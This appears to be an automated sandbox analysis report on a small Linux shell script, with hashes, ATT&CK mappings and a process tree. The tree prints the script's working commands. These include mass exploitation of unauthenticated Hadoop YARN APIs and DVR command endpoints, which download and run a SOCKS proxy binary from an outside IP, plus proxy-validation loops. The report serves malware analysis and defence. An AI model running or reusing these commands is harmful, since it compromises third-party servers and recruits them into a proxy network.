c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508

Analysis

max time kernel
6s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/08/2026, 14:06

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General

Target
c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
Size 3KB
Sample260822-rertkavfjg
SHA256 c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
MD5 dc2f1294edcb100e7c32295aec61a09d
SHA1 3f3f411042bfa8cffef051f3c6b272f98dc1859e
SHA512 d7acb5873cdb8758426abbdfb71c1ef306dfd98489abcc8e522d51ec60268cebe0bf0b954d073877da1d9308140bebff621e9fa3a06fe3e61e265dbbba197252
TLSH
T1C68133DAF878BDB0F91A047EDEABA2917A0F946F1DB83A15A4571CF85A0C11C734F211
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
791	xargs
797	xargs

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/21/status	pgrep
File opened for reading	/proc/29/status	pgrep
File opened for reading	/proc/41/status	pgrep
File opened for reading	/proc/135/status	pgrep
File opened for reading	/proc/157/cmdline	pgrep
File opened for reading	/proc/289/cmdline	pgrep
File opened for reading	/proc/filesystems	pgrep
File opened for reading	/proc/5/cmdline	pgrep
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/41/cmdline	pgrep
File opened for reading	/proc/107/status	pgrep
File opened for reading	/proc/640/cmdline	pgrep
File opened for reading	/proc/643/status	pgrep
File opened for reading	/proc/16/cmdline	pgrep
File opened for reading	/proc/21/cmdline	pgrep
File opened for reading	/proc/321/status	pgrep
File opened for reading	/proc/649/cmdline	pgrep
File opened for reading	/proc/650/status	pgrep
File opened for reading	/proc/650/cmdline	pgrep
File opened for reading	/proc/10/status	pgrep
File opened for reading	/proc/25/status	pgrep
File opened for reading	/proc/28/status	pgrep
File opened for reading	/proc/287/status	pgrep
File opened for reading	/proc/566/status	pgrep
File opened for reading	/proc/26/cmdline	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/74/status	pgrep
File opened for reading	/proc/143/cmdline	pgrep
File opened for reading	/proc/642/cmdline	pgrep
File opened for reading	/proc/8/status	pgrep
File opened for reading	/proc/16/status	pgrep
File opened for reading	/proc/25/cmdline	pgrep
File opened for reading	/proc/96/cmdline	pgrep
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/2/status	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/640/status	pgrep
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/4/status	pgrep
File opened for reading	/proc/14/cmdline	pgrep
File opened for reading	/proc/17/status	pgrep
File opened for reading	/proc/18/cmdline	pgrep
File opened for reading	/proc/287/cmdline	pgrep
File opened for reading	/proc/289/status	pgrep
File opened for reading	/proc/566/cmdline	pgrep
File opened for reading	/proc/643/cmdline	pgrep
File opened for reading	/proc/15/status	pgrep
File opened for reading	/proc/24/cmdline	pgrep
File opened for reading	/proc/646/status	pgrep
File opened for reading	/proc/11/cmdline	pgrep
File opened for reading	/proc/12/status	pgrep
File opened for reading	/proc/135/cmdline	pgrep
File opened for reading	/proc/136/status	pgrep
File opened for reading	/proc/649/status	pgrep
File opened for reading	/proc/9/cmdline	pgrep
File opened for reading	/proc/12/cmdline	pgrep
File opened for reading	/proc/13/cmdline	pgrep
File opened for reading	/proc/20/cmdline	pgrep
File opened for reading	/proc/23/status	pgrep
File opened for reading	/proc/226/cmdline	pgrep
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/24/status	pgrep
File opened for reading	/proc/301/cmdline	pgrep

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
784	xargs
755	grep
758	grep
761	grep
764	grep
780	xargs

Writes file to shm directory 9 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.sys/p23.txt	c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
File opened for modification	/dev/shm/.sys/pproxy.txt	c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
File opened for modification	/dev/shm/.sys/verified_http.txt	c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
File opened for modification	/dev/shm/.sys/yarn_exploited.txt	c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
File opened for modification	/dev/shm/.sys/ips.txt	c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
File opened for modification	/dev/shm/.sys/p8088.txt	c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
File opened for modification	/dev/shm/.sys/p8080.txt	c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
File opened for modification	/dev/shm/.sys/p80.txt	c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
File opened for modification	/dev/shm/.sys/dvr_exploited.txt	c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/global_new.txt	c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
File opened for modification	/tmp/sedCcVvjR	sed

/tmp/c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
/tmp/c48b75abb560cd0a60a5c752e29730ae54e8454a024a60ca413fde9fe8a14508
1⤵
- Writes file to shm directory
- Writes file to tmp directory
PID:643
- /usr/bin/pgrep
  pgrep -f "masscan.*targeted"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:649
- /bin/date
  date "+%H:%M:%S"
  2⤵
  PID:659
- /bin/sleep
  sleep 5
  2⤵
  PID:662
- /bin/grep
  grep -v "^#" /dev/shm/.sys/raw.txt
  2⤵
  PID:749
- /usr/bin/awk
  awk "{print \$4\":\"\$3}"
  2⤵
  - Reads runtime system information
  PID:750
- /bin/date
  date "+%H:%M:%S"
  2⤵
  PID:752
- /bin/grep
  grep ":8088\$" /dev/shm/.sys/ips.txt
  2⤵
  - System Network Configuration Discovery
  PID:755
- /usr/bin/cut
  cut -d: -f1
  2⤵
  PID:756
- /usr/bin/cut
  cut -d: -f1
  2⤵
  PID:759
- /bin/grep
  grep ":8080\$" /dev/shm/.sys/ips.txt
  2⤵
  - System Network Configuration Discovery
  PID:758
- /usr/bin/cut
  cut -d: -f1
  2⤵
  PID:762
- /bin/grep
  grep ":80\$" /dev/shm/.sys/ips.txt
  2⤵
  - System Network Configuration Discovery
  PID:761
- /usr/bin/cut
  cut -d: -f1
  2⤵
  PID:765
- /bin/grep
  grep ":23\$" /dev/shm/.sys/ips.txt
  2⤵
  - System Network Configuration Discovery
  PID:764
- /bin/date
  date "+%H:%M:%S"
  2⤵
  PID:778
- /bin/cat
  cat /dev/shm/.sys/pproxy.txt
  2⤵
  PID:779
- /usr/bin/xargs
  xargs -P 500 "-I{}" sh -c "code=\$(curl -s -m 3 -o /dev/null -w \"%{http_code}\" -x http://{} http://httpbin.org/ip 2>/dev/null); [ \"\$code\" = \"200\" ] && echo {}"
  2⤵
  - System Network Configuration Discovery
  PID:780
- /usr/bin/sort
  sort -u
  2⤵
  PID:783
- /bin/cat
  cat /dev/shm/.sys/p8080.txt /dev/shm/.sys/p80.txt
  2⤵
  PID:782
- /usr/bin/xargs
  xargs -P 500 "-I{}" sh -c "for p in 80 8080; do code=\$(curl -s -m 3 -o /dev/null -w \"%{http_code}\" -x http://{}:\$p http://httpbin.org/ip 2>/dev/null); [ \"\$code\" = \"200\" ] && echo \"{}:\$p\" && break; done"
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:784
- /usr/bin/sort
  sort -u /dev/shm/.sys/verified_http.txt -o /dev/shm/.sys/verified_http.txt
  2⤵
  PID:786
- /bin/date
  date "+%H:%M:%S"
  2⤵
  PID:789
- /bin/cat
  cat /dev/shm/.sys/p8088.txt
  2⤵
  PID:790
- /usr/bin/xargs
  xargs -P 100 "-I{}" sh -c " resp=\$(curl -s -m 5 \"http://{}:8088/ws/v1/cluster/info\" 2>/dev/null) echo \"\$resp\" | grep -q clusterInfo && { app=\$(curl -s -m 5 -X POST \"http://{}:8088/ws/v1/cluster/apps/new-application\" 2>/dev/null) appid=\$(echo \"\$app\" | python3 -c \"import json,sys;print(json.load(sys.stdin).get(\\\"application-id\\\",\\\"\\\"))\" 2>/dev/null) [ -n \"\$appid\" ] && { cmd=\"wget http://159.89.206.122:8888/microsocks -O /tmp/.ms;chmod +x /tmp/.ms;/tmp/.ms -p 1080 &\" curl -s -m 5 -X POST \"http://{}:8088/ws/v1/cluster/apps\" -H \"Content-Type: application/json\" -d \"{\\\"application-id\\\":\\\"\$appid\\\",\\\"application-name\\\":\\\"svc\\\",\\\"am-container-spec\\\":{\\\"commands\\\":{\\\"command\\\":\\\"\$cmd\\\"}},\\\"application-type\\\":\\\"YARN\\\"}\" 2>/dev/null sleep 5 check=\$(curl -s -m 5 -x socks5://{}:1080 http://httpbin.org/ip 2>/dev/null) echo \"\$check\" | grep -q origin && echo \"{}:1080\" >> /dev/shm/.sys/yarn_exploited.txt } } "
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /bin/date
  date "+%H:%M:%S"
  2⤵
  PID:794
- /usr/bin/sort
  sort -u
  2⤵
  PID:796
- /bin/cat
  cat /dev/shm/.sys/p80.txt /dev/shm/.sys/p8080.txt
  2⤵
  PID:795
- /usr/bin/xargs
  xargs -P 200 "-I{}" sh -c " for path in /dvr/cmd /cn/cmd; do resp=\$(curl -s -m 3 \"http://{}\$path\" 2>/dev/null) if [ -n \"\$resp\" ]; then curl -s -m 3 -X POST \"http://{}\$path\" -d \"cmd=wget http://159.89.206.122:8888/microsocks -O /tmp/.ms;chmod +x /tmp/.ms;/tmp/.ms -p 1080 &\" 2>/dev/null sleep 3 check=\$(curl -s -m 5 -x socks5://{}:1080 http://httpbin.org/ip 2>/dev/null) echo \"\$check\" | grep -q origin && echo \"{}:1080\" && break fi done "
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /bin/date
  date "+%H:%M:%S"
  2⤵
  PID:801
- /usr/bin/sort
  sort -u
  2⤵
  PID:803
- /bin/cat
  cat /dev/shm/.sys/verified_http.txt /dev/shm/.sys/yarn_exploited.txt /dev/shm/.sys/dvr_exploited.txt /tmp/global.txt
  2⤵
  PID:802
- /bin/mv
  mv /tmp/global_new.txt /tmp/global.txt
  2⤵
  PID:804
- /bin/sed
  sed -i "s#^.*://##" /tmp/global.txt
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/date
  date "+%H:%M:%S"
  2⤵
  PID:806
- /usr/bin/wc
  wc -l
  2⤵
  PID:814
- /bin/date
  date "+%H:%M:%S"
  2⤵
  PID:815

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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